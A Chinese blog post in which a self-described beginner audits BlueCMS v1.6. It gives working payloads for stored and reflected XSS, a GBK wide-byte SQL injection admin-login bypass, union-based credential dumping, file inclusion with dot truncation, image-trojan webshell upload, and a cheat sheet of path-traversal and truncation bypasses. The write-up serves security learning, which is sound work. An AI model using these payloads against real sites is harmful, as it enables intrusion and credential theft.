作为一名初来乍到审计小白,从blueCMS入手再好不过了。通过对入门级的cms进行审计以及一个整体的框架和常见的漏洞学习,对个人而言是一次不错的学习经历。话不多说直接进入主题。

代码审计环境

BlueCMS v1.6 sp1源码

php+Apache(phpstudy等集成环境 PHP>=4.3.0,MYSQL>=4.1)

seay审计工具

审计前言

blueCMS是一个比较小众而且适合入门学习审计的CMS,从刚爆出漏洞至今网上已经有很多审计文章,大多都是两个熟知漏洞转来转去。但作为初入的小白自然不能满足。

所以对于这次入门决定花一些时间进去以记录一下审计过程中的困难和解决思路。

此次代码审计采用黑盒+白盒,能更好的了解漏洞产生的原因还有利用方法。

cms环境安装

源码链接:https://pan.baidu.com/s/1RxyG1Akpp_EZOoBoRtuuaQ 提取码:tj9s

流程:将bluecms文件夹放到WWW中,访问uploads下的install

默认安装能够访问upload即为成功

审计开始

blueCMS整体分析

在bluecms中主要的核心代码在/include文件中,/admin是只有管理员才能访问,/data存放一些配置文件,数据库配置文件等。/install文件是在安装时候需要访问。但是假如说在安装完后/install没有删除而且可以继续访问/install重新安装,这样子就可以重置数据拿到管理员密码和权限。

渗透过程第一个漏洞:xss漏洞

当我们点开一个站点,一般来讲正常操作是注册->登录->浏览文章,所以第一步我们要在注册界面寻找漏洞。那么我们要先注册账户。

在注册中,出现了好多输入框,于是我在想可不可以尝试一下xss弹窗呢?

正常的填写注册,在抓包,然后将数据包拦截

防止js前端检测,所以我在pwd中间加上的测试xss函数,send后成功弹窗

在网页源码中可以看到js恶意代码,说明这里存在一个存储型xss

渗透过程中第二个漏洞:sql注入漏洞

现在知道存在一个xss点,然后我在想在username和password处会不会存在sql注入呢?

在yrl地址中试了一下/admin 直接跳转到/admin/login.php文件下



先是正常测试了下用户名admin' or 1=1/1=2 密码admin

然后是无引号测试发现均为账户或密码错误

起初我是觉得没有漏洞的。 之后回看源码发现,在这里

由于默认使用的是gbk编码,我们已知当编码为gbk等双字节编码时,容易发生宽字节注入。(宽字节原理:两个字节以上叫宽字节,当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的编码是%df%5c’.这时候网站字符集是GBK,mysql使用的是gbk编码的时候,默认认为两个字符为一个汉字。当网站过滤的机制是采用转义\的时候,我们可以在网站添加的转义符号前面构造一个%xx使得变成%xx%5c而被mysql认为是一个汉字,从而绕过转义。宽字节注入最长用的时%df,或者使用ascii码大于128的也可以 ,一般用129。)

漏洞利用

抓包修改admin_name=admin%df%27+or+1%3D1%23

明文就是%df’ or 1=1#

单引号被转义后变成%df’ or 1=1#

宽字节注入是利用mysql的一个特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而单引号逃逸了出来,就可以成功闭合sql语句了

再加上后面的or 1=1 #就构造成了永真语句,可以成功免密登录管理员后台了

现在是admin权限,接下来就是寻找管理员权限下可以进行的操作并寻找漏洞。

渗透过程中第三个漏洞:文件包含漏洞

登陆到admin,dirsearch一梭子找到模板管理,/admin/tpl_manage.php



然后点开编辑打开一个链接,在编辑处写入一句话木马,然后点击保存。

利用文件包含进入到上上层目录下的info.php,进入info.php后写入一句话木马,直接菜刀连接获得web权限


以上是我在安装cms后未知源码渗透的过程发现的漏洞(一个人渗透时候弄出来的,没有参考没有参考)。

接下来就是代码审计使用seay代码审计工具。

漏洞1(sql注入):在文件ad_js.php中存在sql注入

empty()函数用于检查一个变量是否为空。trim()函数移除字符串中的字符。这部分代码可以看到ad_id参数通过get得到,判断是否为空,不为空,则没过滤地带入getone函数进行查询。

进到getone()函数中 (getone()是自定义的函数,用来查询数据库。) 然后定位函数发现在/include/mysql.class.php文件中,然后进入函数看看有没有什么过滤。

function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}

跳转到getone函数,然后没有任何过滤可直接执行sql语句,所以可以进行sql注入。

漏洞利用

第一种方法(手工注入)

先访问ad_js.php,会跳转到/ad_js.php?ad_id=1

看到ad_id=1就舒服很多,先是手注

  1. 先查看多少字段

    ?ad_id=1 order by 7

    order by 8的时候会报错

  2. 查看一下哪里有回显

    ?ad_id=1 union select 1,2,3,4,5,6,7

    在7处有回显,所以开始在7处构造payload

  3. 查看当前数据库

    ?ad_id=1 union select 1,2,3,4,5,6,database()

  4. 爆表名

    ?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

    (这个表名确实多的离谱)主要看blue_admin这张表看

  5. 爆列名

    ?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

  6. 获取用户名密码

    ?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

    其中在/admin/user.php文件中,通过POST传参后经过if语句判断到达$sql语句,在这句话中values值中的pwd进行了md5加密。

第二种方法(sqlmap跑一梭)

基本的sqlmap使用方法就不都多说了。

漏洞2(xss漏洞):在ad_js.php文件中

通过对ad_js.php文件进行审计后发现反射型的xss几乎在sql注入漏洞的同时伴随着xss。

漏洞利用

在该文件的sql注入漏洞处,由于源码中没有任何过滤,可以直接将xss恶意语句写到地址栏中可成功执行

漏洞3(任意文件包含漏洞):在user.php中

因为在黑盒测试的过程中通过抓包可以看到POST传参时会顺在着act参数用来做位置判断,这段源码中存在文件包含,分析代码,我们发现$_POST['pay']并没有做多余的安全检测,直接进行拼接,所以我们的重点是考虑如何截断。

漏洞利用

先在根目录上放上test.php (test.php下写入phpinfo)然后先访问一下

然后找到用户登录下的金币充值,点击购买后出现此界面,抓包点击在线支付

先尝试下%00,

payload:../../test.php

发现%00没有反应,应该是代码中对%00进行了转译。然后我们考虑一下利用文件路径长度截断,如用字符.或者/.或者./来截断。但是经过尝试后发现只有点截断可行。

payload:pay=../../1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

但是这个地方我们是先在本地存放了个test.php文件,然后通过截断方式读取到test.php的。利用这个方式我们可不可以getshell呢?所以现在我们的思路是如何利用文件包含getshell。思路:寻找一个可以上传点,上传一个带木马的jpg文件,利用文件包含漏洞包含jpg文件,拿shell。

打开个人资料,存在一处上传头像。可以上传一个图片马,然后通过蚁剑菜刀链接,实践开始。因为没有过滤,所以直接上传成功了。

一句话木马内容:

上传:



上传成功后包含文件data/upload/face_pic/16117683204.jpg,同时在文件根目录中会生成shell.php

菜刀连接成功:

本地文件包含知识

  1. 点号截断:

    ?file=../../../../../../../../../boot.ini/………[…]…………

    (php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256,y因为在windows下路径超过256个字符后的东西会被舍弃)

  2. %00截断:

    ?file=../../../../../../../../../etc/passwd%00

    (php 版本<= 5.3的才有。例如test.php%00.jpg,这时就会去掉%00后面的字符串。所以程序读取时候就变成了test.php)

  3. 0x00截断:

    ?file=../../../../../../../../../var/www/%00

    (需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris)

  4. 路径长度截断:

    ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

    (php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256

    利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用 "./" 的方式即可构造出超长目录字符串.)

  5. 编码绕过:

    ../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/

    ..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e

    (如果服务器对../ 等做一些过滤,可以用一些编码来进行绕过.注:必要情况下可以进行二次编码)

初审blucms(入坑)的更多相关文章

  1. RoboGuice 3.0 (一)入坑篇

    RoboGuice是什么? 一个Android上的依赖注入框架. 依赖注入是什么? 从字面理解,这个框架做了两件事情,第一是去除依赖,第二是注入依赖.简单理解就是,将对象的初始化委托给一个容器控制器, ...

  2. [SSIS] 在脚本里面使用数据库连接字符串进行查询等处理, 入坑

    入坑.!!!!! SSIS 中dts包 设置的  ADO.Net连接, 在传入脚本的时候, 我要使用 数据库连接,进行数据的删除操作. 于是我使用了 了如下的 代码 使用的是windows 身份验证, ...

  3. webpack入坑之旅(六)配合vue-router实现SPA

    这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...

  4. webpack入坑之旅(五)加载vue单文件组件

    这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...

  5. webpack入坑之旅(四)扬帆起航

    这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...

  6. webpack入坑之旅(三)webpack.config入门

    这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...

  7. webpack入坑之旅(二)loader入门

    这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack 在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...

  8. webpack入坑之旅(一)不是开始的开始

    最近学习框架,选择了vue,然后接触到了vue中的单文件组件,官方推荐使用 Webpack + vue-loader构建这些单文件 Vue 组件,于是就开始了webpack的入坑之旅.因为原来没有用过 ...

  9. gulp入坑系列(2)——初试JS代码合并与压缩

    在上一篇里成功安装了gulp到项目中,现在来测试一下gulp的合并与压缩功能 gulp入坑系列(1)--安装gulp(传送门):http://www.cnblogs.com/YuuyaRin/p/61 ...

  10. ReactNative for Android入坑(一)

    最近找工作发现有些公司要求会ReactNative,决定入坑. 搭建环境:官网详细的教程附链接. 坑一:FQ,建议整个搭建过程中FQ.(FQ链接,注册有200M试用流量,环境搭建够了)第一步:安装Ch ...

随机推荐

  1. 由于扩展配置问题而无法提供您请求的页面。如果该页面是脚本,请添加处理程序。如果应下载文件,请添加 MIME 映射。

    第一步: windows 8系统,运行aspx页面出现上述错误信息,解决办法如下: iis7 :控制面板->打开或关闭windows功能->Internet信息服务->万维网服务-& ...

  2. 6个变态的C语言Hello World程序

    6个变态的C语言Hello World程序   下面的六个程序片段主要完成这些事情: 输出Hello, World 混乱C语言的源代码 下面的所有程序都可以在GCC下编译通过,只有最后一个需要动用C+ ...

  3. apache 反向代理配置

    配置前资料检查: 1.可以使用的apache 安装apache服务:打开cmd , 在apache的bin目录下执行以下命令 httpd -k install -n apache2.2    其中&q ...

  4. node.js中log4js的使用

    以前用过forever进程守护的日志记录到指定文件,但是只能保存到一个文件中不能分片,这样到只日志文件越来越大, forever start -s -l ./forever.log app.js -l ...

  5. 忘记linux root密码怎么办?

    摘自:<鸟哥的Linux私房菜> 常常有些朋友在配置好了Linux之后,结果root密码给他忘记去!要重新安装吗?不需要的, 你只要以单人维护模式登陆即可更改你的root密码喔!由于lil ...

  6. ImageMagick使用小节

    ImageMagick是一个强大的开源图形处理软件,国内应该很少人用,至今仍在更新,放出全版本下载链接 http://ftp.icm.edu.pl/packages/ImageMagick/binar ...

  7. 后台线程,优先级,sleep,yield

    1.后台线程,是指在程序运行的时候在后台提供一种通用服务的线程,并且这种线程并不属于程序中不可获取的部分.当所有非后台线程结束时,程序也就 终止了,同时会杀死进程中所有后台线程.main()是一个非后 ...

  8. 设计模式值六大原则——里氏替换原则(LSP)

    里氏替换原则(Liskov Substitution Principel)是解决继承带来的问题. 继承的优点: 代码共享,减少创建类的工作量,每个子类都拥有父类的方法和属性: 提高代码的重用性: 子类 ...

  9. 免费数据库(SQLite、Berkeley DB、PostgreSQL、MySQL、Firebird、mSQL、MSDE、DB2 Express-C、Oracle XE)

    SQLite数据库是中小站点CMS的最佳选择 SQLite 是一个类似Access的轻量级数据库系统,但是更小.更快.容量更大,并发更高.为什么说 SQLite 最适合做 CMS (内容管理系统)呢? ...

  10. cakephp 复杂查询

    $now = time(); $this->CardTypeInfos->recursive = -1; $conditions = [ 'seller_id'=>SELLER_ID ...